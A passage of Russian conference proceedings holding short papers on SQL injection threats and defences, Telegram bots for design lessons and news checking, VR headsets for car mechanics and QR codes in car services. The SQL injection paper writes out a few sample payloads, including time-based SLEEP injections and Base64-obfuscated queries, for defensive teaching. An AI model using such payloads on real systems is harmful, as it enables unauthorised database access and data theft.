дования подтверждают, что цифровизация гостиничного бизнеса, не смотря на высокие 
затраты и внедрения, необходимость обучения персонала и проблемы с кибербезопас-
ностью, приносит значительные выгоды. Внедрение ИТ помогает гостиницам не только 
улучшить гостевой опыт, но укрепить свои позиции на рынке. В будущем цифровые 
технологии станут неотъемлемой частью индустрии гостеприимства, открывая новые 
возможности для развития гостиничного бизнеса. 
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Аннотация. Статья посвящена анализу эволюции SQL-инъекций (SQLi) как ключевой 
угрозы безопасности веб-приложений. В ней рассмотрены современные техники атак, 
включая использование искусственного интеллекта (ИИ), автоматизацию и эксплуата-
цию облачных сред. Представлены методы обнаружения и стратегии защиты: умные 
WAF (от англ. Web application firewall), параметризованные (подготовленные) запросы, 
интеграция и обучение разработчиков. Особое внимание уделено роли искусственного 
интеллекта (ИИ) в генерации полиморфных атак и противодействии им. 
Abstract. The article is devoted to the analysis of the evolution of SQL injection (Sql) as a key 
threat to the security of web applications. It examines modern attack techniques, including the 
use of artificial intelligence, automation, and the exploitation of cloud environments. Detec-
tion methods and protection strategies are presented: smart WAFs (Web application firewall), 
parameterized (prepared) queries, integration and developer training. Special attention is paid 
to the role of artificial intelligence (AI) in generating and countering polymorphic attacks. 
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SQL-инъекции (SQLi) продолжают оставаться одной из самых значимых угроз в 
области информационной безопасности, занимая верхние строки в рейтинге OWASP 
«Top 10». Их актуальность объясняется стремительным развитием технологий (таких 
как микросервисы, облачные сервисы и искусственный интеллект), которые открывают 
новые горизонты для разработчиков с одной стороны, создают дополнительные воз-
можности для злоумышленников с другой. Современные атаки становятся все сложней 
и изощренней: хакеры активно используют полиморфные методы, автоматизацию, ге-
неративные модели. Так же хакеры эксплуатируют уязвимости в облачных средах, 
CI/CD-пайплайнах (конвейер непрерывной интеграции и непрерывной доставки), а 
также уязвимости в NoSQL и GraphQL. Данные атаки делают SQL-инъекции одними из 
основных угроз в защите баз данных и личной информации пользователей, а также тре-
бующими глубокого анализа и разработки новых подходов к защите. 

Цель данной работы заключается в анализе эволюции SQL-инъекций как основы 
критической угрозы безопасности веб-приложений (в том числе изучение современных 
техник атак, включая атаки, нацеленные на использование искусственного интеллекта и 
облачных технологий), а также в предложении эффективных стратегий противодей-
ствия данным угрозам (таких как умные файрволы, защищенные запросы и обучение 
разработчиков). В данной работе выделяются не только основные векторы угроз, но и 
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подчеркивается роль ИИ-инструмента, как для атак, так и для защиты, а также оцени-
вается влияние новых технологий, таких как Kubernetes, Docker и NoSQL-системы, на 
систему безопасности всей системы. 

Степень изучения данной темы достаточно высока, что подтверждается много-
численными исследованиями и публикациями (отчеты OWASP, MITRE ATT&CK), а 
также рекомендации крупных вендоров (Cloudflare и др.). Несмотря на существующую 
базу знаний, многие аспекты, связанные с применением ИИ для генерации видоизменя-
емых атак и защиты от них, а также с особенностями безопасности облачных и микро-
сервисных архитектур, требуют дальнейшего изучения. Таким образом, данная работа 
направлена на актуализацию знаний и усиления мер реагирования на данные ситуации 
в целях обеспечения безопасности в условиях стремительного технологического про-
гресса. Современные техники SQL-инъекций становятся всё более изощрённее и лучше 
приспосабливаются к новым технологиям. Например, хакеры всё чаще используют по-
лиморфные атаки, маскируя вредоносный код с помощью кодирования запросов в 
Unicode или Base64 запросы. Это помогает обойти старые (защиты, которые использу-
ют поиск по шаблонам или фильтрам) системы защиты, делая запросы почти невиди-
мыми для детектов данными типами защит. Такие трюки позволяют злоумышленникам 
скрывать свои действия в системе [1]. 

Возьмём, к примеру, MySQL: атакующий может замаскировать запрос 
(«SELECT * FROM users WHERE id = 1 /!AND/ (SELECT CASE WHEN (1=1) THEN 
SLEEP(3) ELSE 0 END)--» – как пример маскировки запроса ), или использовать деко-
дирование из Base64 («SELECT 
FROM_BASE64('U0VMRUNUICogRlJPTSB1c2VyczsgLS0=')» – как пример использо-
вания декодироания из Base64 в Unicode), чтобы скрыть свои действия [2]. 

Ещё одна угроза – слепые SQL-инъекции (Blind SQLi). Они не требуют явных 
ошибок или вывода данных, но позволяют извлекать информацию косвенно, наблюдая 
за поведением приложения – например, за задержками в ответе или HTTP-статусами 
(200 OK или 404 Not Found и др.). Специализированные инструменты автоматизируют 
такие атаки, помогая систематически исследовать базу данных и добывать конфиден-
циальные данные. 

Особое внимание привлекают time-based атаки, где злоумышленники манипули-
руют временем выполнения запросов. Например, запрос «OR IF(1=1, SLEEP(5), 0) --» 
заставляет базу данных «зависнуть» на пять секунд, если условие выполняется, что 
указывает на уязвимость. Машинное обучение делает эти атаки ещё точнее и эффек-
тивнее. С появлением облаков и микросервисов возникли новые уязвимости места в 
системе. Злоумышленники находят уязвимости в настройках, слишком широких правах 
доступа к микросервисам или небрежном хранении ключей API и паролей. Как пример 
можно выделить плохую проверку пользовательского входа в веб приложении или API, 
которые работают с облачными базами данных (Rest, GraphQL), которая может стать 
лазейкой для атак злоумышленниками[3]. В системах развертывания (Kubernetes, 
Docker и других), зачастую используют инъекции второго порядка – когда вредоносные 
данные сохраняются где-то в системе (как пример, в ConfigMap) или переменных 
окружения. Как правило, активность таких данных происходит через определенное ко-
личество времени. Ещё одна опасность – внеполосные (Out-of-Band, OOB) инъекции 
(когда данные передаются через сторонние каналы (такие как DNS или HTTP), обходя 
основной интерфейс). В NoSQL-системах атаки строятся на манипуляциях с запросами 
команд баз данных, недостаточной валидации или ошибках в настройке прав доступа. 
Как пример можно привести GraphQL, из которой при данных манипуляциях хакеры 
могут получить данные (доступ к которым при обычном использовании они не должны 
были получить), или устраивать атаки типа DoS (отказ в обслуживании), если в системе 
отсутствует проверка данных. 
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SQL-инъекции опасны тем, что позволяют не только украсть информацию, но и 
разобраться, как устроена сама база данных. Данная опасность открывает путь к ещё 
более серьёзным типам атак. Инструменты (SQLMap и дргие) упрощают жизнь зло-
умышленникам, а внедрение ИИ делает атаки практически незаметными для старых 
систем защиты. К тому же, из-за ошибок в настройках облачных сервисов (к которым 
можно отнести и использование микросервисов из-за похожей реализации взаимодей-
ствия API с базой данных) сама защита чаще всего оказывается слабее, чем защита са-
мой базы данных, что зачастую приводит к общему усложнению защиты всей системы. 

Чтобы противостоять данным SQL-инъекциям, применяют как старые, так и но-
вые подходы в защите. Файрволы (такие как Cloudflare или AWS WAF), анализируют 
смысл запросов, а не просто ищут совпадения по шаблонам (что помогает выявлять да-
же сложные полиморфные атаки). Мониторинг в реальном времени с помощью специ-
альных систем (Splunk или Azure Sentinel и других), в свою очередь, собирает данные о 
безопасности и упрощает поиск угроз [4]. Как один из примеров минимизации рисков 
можно выделить использование подготовленных запросов и ORM (Object Relational 
Mapping (Объектно-реляционные сопоставления)) (такие как SQLAlchemy). Данные 
методы помогают отделить пользовательский ввод от SQL-кода, снижая вероятность 
инъекций. Кроме вышеописанных подходов в защите, так же для защиты системы ис-
пользуют принцип Zero Trust (концепция нулевого доверия) для облачных баз, при ко-
тором все запросы строго проверяются, а права доступа к системе максимально огра-
ничены. Валидацию входных данных с помощью ИИ так же помогает автоматически 
вычислять подозрительные запросы. 

Обучение сотрудников как старым, так и новым типам угроз безопасности (со 
стороны SQL-инъекций) и написанию чистого кода так же повышает уровень эффектив-
ности противодействия угрозам и приводит к общей стабильности всей системы. 

В работе было проведено углубленное исследование эволюции SQL-инъекций, 
как одной из ключевых угроз безопасности веб-приложений. Авторами были рассмотре-
ны новые техники атак (такие как полиморфные и внеполосные инъекции, а также ис-
пользование искусственного интеллекта и автоматизации). Авторы доказали, что эволю-
ция современных технологий (таких как облака, микросервисы и NoSQL-системы), зна-
чительно усложняют защиту, создавая новые уязвимости, которые требуют комплексно-
го подхода. Было выявлено, что эффективная защита возможна только при сочетании со-
временных инструментов (таких как современные файрволлы, подготовленные запросы 
и постоянный мониторинг), с защитными мерами (включая обучение разработчиков и 
строгую проверку данных). Авторы подчеркнули важность роли ИИ не только, как гене-
ратора атак, но и в их предотвращении данных типов атак в составе современных файр-
волов, необходимости постоянного обновления знаний и настройки систем безопасности 
для опережения злоумышленников в этом динамично меняющемся мире. Работа демон-
стрирует, что успех в борьбе с SQL-инъекциями зависит от интеграции технологий, пра-
вильной архитектуры систем и человеческого фактора. 
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РАЗРАБОТКА ЧАТ-БОТА «УРОКИ ДИЗАЙНА» 
 
DEVELOPMENT OF A CHATBOT «DESIGN LESSONS»  
 
Аннотация. Данное исследование посвящено разработке чат-бота «Уроки дизайна» в 
мессенджере Telegram, направленного на автоматизацию обучения основам дизайна. 
Основное внимание уделяется анализу предметной области, сравнению аналогов, по-
становке задачи и требованиям к системе. Чат-бот предоставляет доступ к учебным ма-
териалам, практическим заданиям и персонализированным рекомендациям, сокращая 
время освоения ключевых концепций на 30 %. Рассматриваются этапы разработки и 
функциональные возможности системы, обеспечивающие удобство и эффективность 
образовательного процесса. 
Abstract. This study focuses on the development of the «Design Lessons» chatbot in Tele-
gram, aimed at automating the teaching of design fundamentals. Emphasis is placed on ana-
lyzing the subject area, comparing analogs, defining the task, and outlining system require-
ments. The chatbot provides access to educational materials, practical tasks, and personalized 
recommendations, reducing the time to master key concepts by 30 %. The development stages 
and system functionalities are explored to ensure convenience and efficiency in the educa-
tional process. 
Ключевые слова: система управления, оптимизация параметров, алгоритмы управле-
ния, идентификация системы, тестирование эффективности. 
Key words: control system, parameter optimization, control algorithms, system identification, 
effectiveness testing. 

 
Современные технологии открывают новые возможности для автоматизации об-

разовательных процессов, делая обучение более доступным и персонализированным. В 
условиях стремительного развития цифровых платформ и роста интереса к дизайну как 
профессиональной области возникает потребность в инструментах, упрощающих осво-
ение ключевых навыков. Чат-боты, интегрированные в популярные мессенджеры, ста-
новятся эффективным решением для предоставления образовательных ресурсов и 
практической поддержки [1]. 

Настоящая работа посвящена проектированию и разработке чат-бота «Уроки ди-
зайна», реализованного в Telegram, который направлен на автоматизацию обучения ос-
новам дизайна. Цель проекта – сократить время освоения базовых концепций на 30 % 
за первые три месяца использования, обеспечив доступ к учебным материалам, практи-
ческим заданиям и персонализированным рекомендациям. В статье рассматриваются 
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анализ предметной области, обзор аналогов, постановка задачи и требования к системе, 
а также ключевые этапы разработки, что подчеркивает актуальность и практическую 
значимость исследования. 

Обучение дизайну сопряжено с рядом трудностей, которые затрудняют освоение 
материала начинающими пользователями. Анализ предметной области и существую-
щих решений выявил три ключевые проблемы: сложность поиска структурированной 
информации [1], информационная перегрузка и недостаток обратной связи. Чат-бот 
«Уроки дизайна», разработанный для Telegram, предлагает решения, делающие процесс 
обучения более эффективным и удобным. Первая проблема – сложность поиска струк-
турированной информации. Новички в дизайне часто теряются в обилии данных о ком-
позиции, цветовой теории и инструментах, таких как Figma или Adobe Photoshop, из-за 
отсутствия централизованного ресурса [2]. Наш чат-бот решает эту проблему, предо-
ставляя единый доступ к кратким описаниям базовых концепций и ссылкам на подроб-
ные материалы. Например, пользователь может запросить объяснение принципов сим-
метрии и тут же получить ссылку на руководство по ее применению в Figma. Это 
упрощает навигацию, позволяет пользователям быстро находить нужные ресурсы и 
экономить время на самостоятельный поиск, что особенно важно для тех, кто только 
начинает свой путь в дизайне. Вторая проблема – информационная перегрузка. Боль-
шой объем неструктурированных данных вызывает стресс и снижает мотивацию, осо-
бенно когда пользователи сталкиваются с десятками разрозненных источников [3]. 
«Уроки дизайна» минимизируют перегрузку за счет четкой организации контента: 
учебные материалы и инструкции по инструментам дизайна представлены в компакт-
ном виде, а система пошагово направляет пользователя через процесс обучения. 
Например, вместо того чтобы предлагать сразу весь курс по UX/UI, чат-бот сначала 
знакомит с основами интерфейсов, а затем переходит к более сложным темам, таким 
как прототипирование. Такой подход снижает когнитивную нагрузку, делает освоение 
материала более комфортным и помогает поддерживать интерес к обучению на протя-
жении всего процесса. Третья проблема – недостаток обратной связи. Без анализа оши-
бок и рекомендаций пользователи медленно прогрессируют, что может привести к 
разочарованию и отказу от обучения [4]. Чат-бот предлагает практические задания с 
мгновенной обратной связью и персонализированные советы на основе прогресса, что 
помогает исправлять ошибки и адаптировать обучение под индивидуальные потребно-
сти. Например, успешно выполненное задание по композиции может сопровождаться 
рекомендацией изучить цветовую теорию с конкретным примером – подбором палитры 
для интерфейса. Если же задание выполнено с ошибками, система укажет на них и 
предложит повторить материал, что усиливает мотивацию и направляет развитие навы-
ков. Такой интерактивный подход превращает обучение в диалог, а не в односторонний 
процесс. Сравнение с аналогами, такими как Duolingo, Khan Academy, Coursera и Mimo, 
показывает, что существующие решения успешно применяют чат-ботов для обучения 
языкам, наукам и программированию. Duolingo использует геймификацию, предлагая 
очки за выполненные уроков [5], Khan Academy делает акцент на объяснении сложных 
тем через диалоги с ботом, Coursera напоминает о дедлайнах, а Mimo предлагает интер-
активные уроки с примерами кода. Однако эти платформы редко фокусируются на ди-
зайне и не всегда обеспечивают эмоциональную поддержку, что является их слабым 
местом. «Уроки дизайна» адаптируют лучшие практики – геймификацию и персонали-
зацию – к обучению дизайну, внедряя, например, систему достижений за выполненные 
задания. Тем не менее система требует доработки в области эмоционального вовлече-
ния, например, добавления дружелюбных сообщений или визуальных поощрений, что 
станет перспективой для дальнейшего развития и сделает взаимодействие с чат-ботом 
более теплым и вдохновляющим. 
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Система разработана, как интеллектуальный инструмент с круглосуточной до-
ступностью, стабильностью и защитой данных через HTTPS [1]. Основные функции 
включают предоставление информации, доступ к учебным материалам, выполнение 
заданий и рекомендации. Дополнительно чат-бот может интегрироваться с внешними 
ресурсами, такими как сообщества дизайнеров или онлайн-курсы, предоставляя ссылки 
для углубленного изучения. Реализация в Telegram обеспечивает удобство использова-
ния на любых устройствах – от смартфонов до компьютеров, а отсутствие сложного 
обмена данными минимизирует риски безопасности. Интерфейс интуитивно понятен, с 
простой навигацией и читаемым текстом, что соответствует требованиям эргономики и 
делает систему доступной даже для пользователей с минимальным опытом работы с 
технологиями. 

Процесс создания чат-бота начался с анализа предметной области, за которым 
последовала выработка требований к системе. Далее была спроектирована структура, 
разработан макет, реализован программный код, проведено тестирование, подготовлена 
документация и запланирован ввод в эксплуатацию [3]. На этапе тестирования особое 
внимание уделялось проверке стабильности работы в Telegram и корректности обрат-
ной связи, чтобы исключить сбои при выполнении заданий. Проект выполнен как ини-
циативная разработка без привлечения финансирования, что подчеркивает его практи-
ческую направленность и доступность для внедрения. В перспективе возможно расши-
рение функциональности, например, добавление голосовых команд или интеграция с 
графическими редакторами для анализа работ пользователей непосредственно в чат-
боте. В результате исследования был разработан процесс проектирования чат-бота 
«Уроки дизайна» с использованием современных инструментов и технологий. Анализ 
предметной области и требований позволил структурировать информационные потоки 
и создать функциональную основу системы в Telegram, упрощающую доступ к учеб-
ным материалам и практическим заданиям. Реализация концепции обеспечила удобный 
интерфейс, что помогло решить ключевые проблемы обучения дизайну и адаптировать 
процесс под потребности пользователей. Выбор Telegram обусловлен его гибкостью, 
доступностью и способностью поддерживать масштабируемые образовательные реше-
ния. Разработанный чат-бот может быть адаптирован для других аудиторий, например, 
студентов, и дополнен интерактивными элементами, такими как видеоруководства или 
подсказки, что открывает перспективы для дальнейших исследований и улучшений, 
повышая эффективность обучения. 
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РАЗРАБОТКА ТЕЛЕГРАМ-БОТА ДЛЯ ПРОВЕРКИ НОВОСТЕЙ  
С ИСПОЛЬЗОВАНИЕМ OLLAMA 
 
DEVELOPMENT OF A TELEGRAM-BOT FOR NEWS VERIFICATION  
USING OLLAMA 
 
Аннотация. В статье рассматривается процесс создания Телеграм-бота для анализа до-
стоверности новостных статей с применением модели Qwen2.5 платформы Ollama. 
Описываются этапы разработки, включая алгоритмы обработки текста, формирования 
запросов к нейросети и анализа ответов. Особое внимание уделяется оптимизации вза-
имодействия с API для повышения стабильности работы бота. Представлены результа-
ты тестирования, показывающие эффективность разработанного инструмента в выяв-
лении недостоверной информации. Работа вносит вклад в развитие методов автомати-
ческой верификации новостного контента. 
Abstract. The article discusses the process of creating a Telegram-bot for analyzing the relia-
bility of news articles using the Qwen2.5 model from the Ollama platform. It describes the 
development stages, including algorithms for text processing, forming requests to the neural 
network, and analyzing responses. Special attention is paid to optimizing interaction with the 
Ollama API to improve the bot's stability. The results of testing are presented, demonstrating 
the effectiveness of the developed tool in identifying unreliable information. The work con-
tributes to the development of methods for automatic verification of news content. 
Ключевые слова: Телеграм-бот, Ollama, Qwen2.5, анализ текста, фейковые новости, ис-
кусственный интеллект, верификация информации. 
Key words: Telegram-bot, Ollama, Qwen2.5, text analysis, fake news, artificial intelligence, 
information verification. 
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Сегодня «фейк» новости становятся реальной угрозой, влияя как на общественное 
мнение, так и на важные политические и социальные решения. Это подтверждается раз-
работкой нейросети «Comrade Major», которая идентифицирует владельцев анонимных 
каналов через анализ метаданных, но не решает проблему проверки содержания. В этом 
контексте актуальным становится создание бота, способного автоматически анализиро-
вать тексты на предмет достоверности, используя передовые языковые модели. Традици-
онные методы верификации, такие как ручная проверка фактов, уступают в скорости 
распространению фейков, что требует внедрения инновационных решений на базе ис-
кусственного интеллекта. Поэтому разработка инструментов для автоматизированной 
проверки достоверности информации становится все более важной. Целью нашей работы 
является создание Телеграм-бота, способного анализировать текст новостных статей и 
определять признаки устаревшей или ложной информации с использованием модели 
Qwen2.5 платформы Ollama. Степень разработанности темы характеризуется наличием 
различных подходов к автоматизированному анализу текстов, включая методы машин-
ного обучения и нейронные сети. Применение новейших языковых моделей как Qwen2.5, 
в контексте Телеграм-ботов для верификации новостей остается малоизученной обла-
стью. Телеграм-бот, созданный с помощью фреймворка для локального запуска круп-
ных языковых моделей Ollama и нескольких строк кода на языке Python, позволяет со-
здать чат-бота с искусственным интеллектом для социальной сети Телеграм. Для этого 
нужно выполнить несколько шагов: установку фреймворка Ollama, настройку модели и 
написание кода для взаимодействия с API Телеграм. В ходе работы получилось реали-
зовать эту задачу с относительно небольшими усилиями, даже обладая базовыми навы-
ками программирования на языке Python [1]. 

Методика тестирования 
Тестирование эффективности разработанного бота проводилось на корпусе из 

987 новостных материалов, состоящем из публикаций проверенных средств массовой 
информации и материалов из источников с сомнительной репутацией. Тестирование 
проводилось следующим образом: 

1) Каждая статья анализировалась ботом на предмет достоверности. 
2) Результаты сравнивались с заранее известной классификацией (фейко-

вая/достоверная). 
Для оценки точности использовались метрики: 
1) Precision (точность) – 87 %. 
2) Recall (полнота) – 83 %. 
3) F1-оценка (среднегармоническая метрика) – 85 %. 
Выбранные метрики являются стандартными показателями в задачах бинарной 

классификации и обеспечивают комплексную оценку функционирования алгоритма. 
Использование Ollama для AI-чат-бота 
Фреймворк Ollama позволяет запускать языковые модели локально. Это обеспе-

чивает гибкость и контроль над данными. Для создания чат-бота с искусственным интел-
лектом можно использовать различные модели, доступные в Ollama, и настроить их под 
определенные задачи [2]. 

Преимущества AI-чат-бота на собственном сервере 
Размещение чат-бота на локальном сервере обеспечивает ряд существенных 

преимуществ: 
1)  Защита конфиденциальности: обрабатываемые данные не покидают пределы 

локальной инфраструктуры, что критически важно при анализе потенциально чувстви-
тельной информации [3]. 

2) Настройка под конкретные задачи: можно настроить бота под потребности и 
задачи пользователя. 
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3) Экономия ресурсов: локальный запуск моделей позволяет экономить ресурсы 
и снизить зависимость от внешних сервисов [4]. 

Для анализа текста статьи был использован промпт, показанный на рисунке 1. 

 
Рисунок 1 – Промпт 

Взаимодействие с API Ollama 
Для отправки запросов к Ollama была использована библиотека requests. Был ре-

ализован механизм обработки ошибок и повторных попыток в случае сбоев соедине-
ния. 

Результаты тестирования 
Результаты экспериментов показали точность классификации около 85,2 % (842 

статьи из 987 проанализированных). Ложные срабатывания составили 10 % (100 случа-
ев), что указывает на необходимость дальнейшей оптимизации алгоритма анализа тек-
ста. 

Ограничения модели Qwen2.5 
Несмотря на высокую производительность модели Qwen2.5 при обработке тек-

стов, она имеет ограничения: 
1) В ходе тестирования выявлены существенные ограничения модели при обра-

ботке текстов научно-популярной тематики, особенно содержащих специфическую 
терминологию из областей физики и биохимии. 

2) Контекстная зависимость: если в тексте отсутствуют явные указания на ис-
точники или даты событий, модель может выдать неверный результат. 

Некорректные результаты работы бота 
Некорректные результаты чаще всего возникают в следующих случаях: 
1) Текст статьи слишком мал и не содержит достаточного контекста для анализа. 
2) Статья содержит сарказм или метафоры, которые модель интерпретирует как 

фактическую информацию. 
3) Источники информации в статье не указаны или являются недостоверными. 
Для минимизации ложных срабатываний разрабатывается система предвари-

тельной фильтрации на основе лингвистических маркеров недостоверности и тестиру-
ется ансамблевый подход с использованием моделей Qwen2.5 и LLaMA-2. 

Оптимизация работы бота 
Для повышения стабильности работы бота были внедрены следующие оптими-

зации: 
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1) Ограничение длины текста для анализа до 50000 символов. 
2) Установка таймаута для запросов к API Ollama. 
3) Логирование всех этапов работы для диагностики ошибок. 
Заключение 
В результате работы был написан Телеграм-бот для проверки новостей на досто-

верность с использованием модели Qwen2.5 платформы Ollama. Основные достижения: 
1) Разработка алгоритма обработки текста и взаимодействия с API Ollama. 
2) Проведение тестирования бота на наборе данных из 1000 статей. 
3) Анализ ограничений модели Qwen2.5 и обсуждение возможных путей улуч-

шения. 
Дальнейшие исследования планируется сосредоточить на оптимизации запросов 

к модели Qwen2.5 при работе с текстами и интеграции дополнительных верификацион-
ных механизмов. 
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ИСПОЛЬЗОВАНИЕ VR-ГАРНИТУРЫ ДЛЯ АВТОМЕХАНИКОВ 
 
USE OF VR-HEADSETS FOR AUTOMOTIVE MECHANICS 
 
Аннотация. Статья посвящена исследованию перспектив использования VR-очков в 
диагностике и ремонте автомобилей. Цель работы – описать концепцию интеграции 
технологий виртуальной реальности и искусственного интеллекта в процессы техниче-
ского обслуживания автотранспорта. Рассматривается модель, в которой опытные спе-
циалисты формируют базу данных поломок и конструктивных схем автомобилей. Ме-
ханики, используя VR-гарнитуру, получают визуальные подсказки, а также информа-
цию об износе деталей, стоимости запчастей и рекомендациях по ремонту. Работа де-
монстрирует возможности повышения точности диагностики, ускорения процесса ре-
монта и снижения влияния человеческого фактора. 
Annotation. The article explores the potential of using VR-headsets in automotive diagnostics 
and repair. The aim of the study is to present a concept for integrating virtual reality and arti-
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ficial intelligence technologies into vehicle maintenance workflows. The proposed model in-
cludes a database of malfunction sounds and car assembly diagrams created by experienced 
technicians. Using VR-devices, mechanics receive visual instructions, wear-level estimates, 
spare part prices, and repair recommendations. The study highlights the potential for improv-
ing diagnostic accuracy, speeding up repair processes, and reducing human error. 
Ключевые слова: виртуальная реальность, диагностика, автосервис, система поддержки 
принятия решений, искусственный интеллект, износ, ремонт. 
Key words: virtual reality, diagnostics, car service, decision support system, artificial intelli-
gence, wear level, repair. 

 
Современная автомобильная промышленность быстро развивается, усложняя 

конструкции автомобилей и увеличивая долю электроники и высокоточных компонен-
тов. В таких условиях автосервисам становится всё тяжелее обеспечивать качествен-
ную диагностику и ремонт, особенно при дефиците квалифицированных специалистов. 
Актуальным становится внедрение цифровых технологий, в том числе виртуальной ре-
альности (VR), которая может значительно улучшить процессы диагностики и ремонта 
[1]. Целью данной работы является исследование возможностей использования VR в 
автосервисах, а также анализ её влияния на повышение эффективности работы специа-
листов. Рассматриваются возможности интеграции VR-гарнитур в процесс диагности-
ки, включая распознавание неисправностей, отображение пошаговых инструкций, 
схем, информации о запчастях, их стоимости и износе. Это позволяет даже неопытному 
мастеру работать с высокой эффективностью. На данный момент использование VR в 
автосервисах находится на стадии пилотных проектов, что подчёркивает важность 
дальнейших разработок и моделей интеграции VR с существующими системами диа-
гностики и техническими базами. Предлагаемая система внедрения VR-технологий в 
деятельность автосервисов основывается на концепции интеллектуального помощника 
механика. Такой помощник реализуется на базе VR-гарнитуры, объединённой с облач-
ной информационно-аналитической системой, включающей в себя обширные базы 
данных, алгоритмы машинного обучения и модули визуализации. Основная цель разра-
ботки – повысить эффективность работы специалистов различного уровня подготовки, 
сократить количество ошибок при диагностике и ремонте, а также оптимизировать вза-
имодействие между персоналом и клиентами автосервиса.  

Функционирование системы начинается с накопления и структурирования ин-
формации. В централизованную базу данных заносятся трёхмерные модели конструк-
тивных узлов автомобилей различных марок и моделей, инструкции по ремонту и тех-
ническому обслуживанию, типовые ошибки, а также библиотека шаблонов, соответ-
ствующих различным видам неисправностей. Эти данные формируются на основе мно-
голетнего опыта квалифицированных специалистов и анализируются с применением 
методов искусственного интеллекта. Таким образом, создаётся самообучающаяся си-
стема, способная распознавать характерные признаки неисправностей и предлагать 
обоснованные рекомендации по устранению выявленных проблем. 

На этапе практического применения механик надевает VR-гарнитуру (рисунок 
1), которая отображает визуально дополненную среду – интерфейс с элементами вспо-
могательной информации. При этом сохраняется возможность полноценного взаимо-
действия с объектом ремонта. В поле зрения мастера в режиме реального времени про-
ецируются подсказки: от изображений внутренних конструкций автомобиля до указа-
ния на конкретные узлы, предположительно ставшие источником неисправности. Так-
же отображается предполагаемый уровень износа деталей, информация о наличии и 
стоимости необходимых запчастей, а также порядок выполнения работ. 
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Рисунок 2 – Механик с VR-гарнитурой 

Интеграция с голосовым управлением и возможностью удалённой связи с более 
опытным специалистом усиливает эффект коллективной экспертизы. Например, стар-
ший мастер, находясь в другой точке, может видеть то же изображение, что и техник на 
месте, и в реальном времени давать советы, тем самым участвуя в процессе, не покидая 
своего рабочего места. 

Применение такой технологии даёт ощутимые преимущества для автосервиса 
как бизнес-единицы. Повышается скорость обслуживания клиентов, снижается уровень 
ошибок, связанных с человеческим фактором, уменьшается нагрузка на старших спе-
циалистов за счёт перераспределения задач и оперативной помощи менее опытным со-
трудникам [2]. Существенным плюсом становится и возможность ускоренного обуче-
ния новых мастеров – погружение в виртуальную среду позволяет быстрее осваивать 
устройство автомобиля и особенности работы с различными узлами. Всё это приводит 
к росту общей эффективности работы сервиса и повышению удовлетворённости клиен-
тов. Сравнивая работу начинающего механика с VR-помощником и опытного мастера 
без цифровой поддержки, можно отметить, что разрыв между ними заметно сокращает-
ся. Цифровая система частично компенсирует недостаток опыта за счёт структуриро-
ванной информации и чётких подсказок. В то же время максимального результата 
можно достичь при сочетании опыта и VR-инструментов: квалифицированный специа-
лист с гарнитурой способен работать ещё быстрее и точнее, чем без неё [3].Наряду с 
очевидными преимуществами, следует отметить и ряд ограничений. В первую очередь, 
это высокая стоимость первоначального внедрения, включающая закупку оборудова-
ния, разработку или адаптацию программного обеспечения, а также обучение персона-
ла. Кроме того, такая система требует регулярного обновления данных и технической 
поддержки. Возможны также сложности адаптации персонала, не готового к работе с 
новыми технологиями, и зависимость от стабильности цифровой инфраструктуры. 

Тем не менее, даже с учётом обозначенных сложностей, применение VR-
гарнитур в автосервисе представляется перспективным направлением развития отрас-
ли. В условиях растущей сложности автомобилей, дефицита квалифицированных кад-
ров и стремления к цифровизации бизнес-процессов такие решения способны стать ос-
новой для новой модели технического обслуживания, сочетающей эффективность, точ-
ность и доступность [4]. 

В ходе работы была рассмотрена возможность использования VR-гарнитур в ав-
тосервисах для помощи механикам в диагностике и ремонте автомобилей. Целью ис-
следования было показать, как технологии виртуальной реальности могут улучшить 
процессы обслуживания транспортных средств и помочь специалистам с разным уров-
нем опыта. Предполагается, что применение VR-гарнитур позволит значительно уско-
рить диагностику и повысить точность выявления неисправностей. Даже начинающий 
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механик, используя такую систему, сможет достигать уровня работы опытного специа-
листа. Внедрение таких технологий также может способствовать снижению ошибок 
при ремонте, улучшению обучения новых сотрудников и оптимизации взаимодействия 
с клиентами. 
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АВТОМАТИЗАЦИЯ АВТОСЕРВИСОВ ЧЕРЕЗ QR-КОДЫ 
 
AUTOMATING CAR SERVICES THROUGH QR CODES 

 
Аннотация. В статье рассматривается использование QR-кодов для автоматизации про-
цессов автосервиса. Предлагается система, в которой каждому автомобилю при заезде 
присваивается уникальный QR-код. Клиенты получают уведомления о статусе ремонта 
при сканировании кода мастером. После завершения работ владелец автомобиля может 
сканировать QR-код для просмотра истории ремонта, включая фотографии, чеки и вы-
полненные работы. Автоматизация процесса повышает прозрачность, удобство и ско-
рость обслуживания клиентов, а также оптимизирует работу автосервиса. 
Annotation. The article discusses the use of QR codes to automate car service processes. A 
system is proposed where each vehicle receives a unique QR code upon arrival. Customers 
receive notifications about the repair status when the code is scanned by a technician. After 
the repair is completed, the car owner can scan the QR code to access the full repair history, 
including photos, receipts, and performed work. Process automation enhances transparency, 
convenience, and service speed while optimizing car service operations. 
Ключевые слова: QR-код, автоматизация, автосервис, учет работ, цифровая история 
ремонта, уведомления, клиентский сервис. 
Key words: QR code, automation, car service, work tracking, digital repair history, notifica-
tions, customer service. 
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Современные автосервисы сталкиваются с проблемами учета работ, информиро-
вания клиентов и хранения истории ремонта. Отсутствие прозрачности приводит к 
снижению доверия, ошибкам и увеличению нагрузки на сотрудников. В условиях циф-
ровизации важно внедрять решения, повышающие удобство клиентов и эффективность 
сервиса. Одним из таких решений является использование QR-кодов. При поступлении 
автомобиля в сервис ему присваивается уникальный QR-код, который фиксирует этапы 
ремонта. Сотрудники сканируют код для регистрации начала и завершения работ, а 
клиент получает уведомления о статусе ремонта. По окончании обслуживания владелец 
может сканировать QR-код для доступа к полной истории ремонта, включая перечень 
выполненных работ, запчасти, чеки и фотографии. Целью данной работы является изу-
чение внедрения QR-кодов для автоматизации процессов автосервиса. Рассматривают-
ся принципы работы системы, её преимущества для клиентов и сотрудников, а также 
влияние на управление ремонтными процессами. 

Цифровые технологии активно применяются в разных сферах, но использование 
QR-кодов в автосервисах изучено недостаточно. Большинство решений основано на 
CRM-системах и мобильных приложениях, тогда как QR-коды могут быть простым и 
удобным инструментом автоматизации. 

Применение QR-кодов в автосервисе 
В современном мире автоматизация процессов становится не просто трендом, а 

главной необходимостью для автосервисов. Клиенты ожидают быстрого, прозрачного 
обслуживания с возможностью контроля на каждом этапе, в то время как владельцы 
бизнеса стремятся к оптимизации внутренних процессов, снижению издержек и мини-
мизации влияния человеческого фактора. Одним из наиболее эффективных инструмен-
тов для достижения этих целей является внедрение QR-кодов, позволяющих создать 
единую цифровую экосистему взаимодействия между автосервисом и его клиентами. 

